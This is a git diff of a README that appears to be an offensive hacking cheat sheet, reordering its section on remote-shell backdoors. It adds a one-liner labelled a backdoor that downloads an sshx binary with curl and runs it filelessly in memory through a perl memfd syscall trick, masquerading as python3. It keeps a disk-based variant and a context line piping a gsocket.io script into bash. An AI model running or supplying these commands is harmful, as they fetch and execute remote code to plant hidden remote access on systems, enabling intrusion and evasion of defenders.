diff --git a/README.md b/README.md index 80da216..38958a1 100644 --- a/README.md +++ b/README.md @@ -1741,6 +1741,14 @@ LOG=results.log bash -c "$(curl -fsSL https://gsocket.io/ys)" # Notice '/ys' in Access a remote shell from your web browser [https://sshx.io](https://sshx.io). +Pipe be sshx-backdoor directly into memory: +```shell +echo $(curl -SsfL https://s3.amazonaws.com/sshx/sshx-$(uname -m)-unknown-linux-musl.tar.gz|tar xfOz - sshx 2>/dev/null \ + |nohup perl '-efor(319,279){($f=syscall$_,$",1)>0&&last};open($o,">&=".$f);print$o();exec{"/proc/$$/fd/$f"}"/usr/bin/python3",("-q")' 2>/dev/null \ + |{ read x;echo "$x";}&) +``` + +Or the lame way: ```shell curl -SsfL https://s3.amazonaws.com/sshx/sshx-$(uname -m)-unknown-linux-musl.tar.gz|tar xfOz - sshx 2>/dev/null >.s \ && chmod 755 .s \ @@ -1748,11 +1756,6 @@ curl -SsfL https://s3.amazonaws.com/sshx/sshx-$(uname -m)-unknown-linux-musl.tar for _ in {1..10}; do [ -s .u ] && break;sleep 1;done;cat .u;rm -f .u .s; ``` -Or pipe directly into memory: -```shell -echo $(curl -SsfL https://s3.amazonaws.com/sshx/sshx-$(uname -m)-unknown-linux-musl.tar.gz|tar xfOz - sshx 2>/dev/null|nohup perl '-efor(319,279){($f=syscall$_,$",1)>0&&last};open($o,">&=".$f);print$o();exec{"/proc/$$/fd/$f"}"/usr/bin/python3",("-q")' 2>/dev/null|{ read x;echo "$x";}&) -``` - **6.iii. authorized_keys**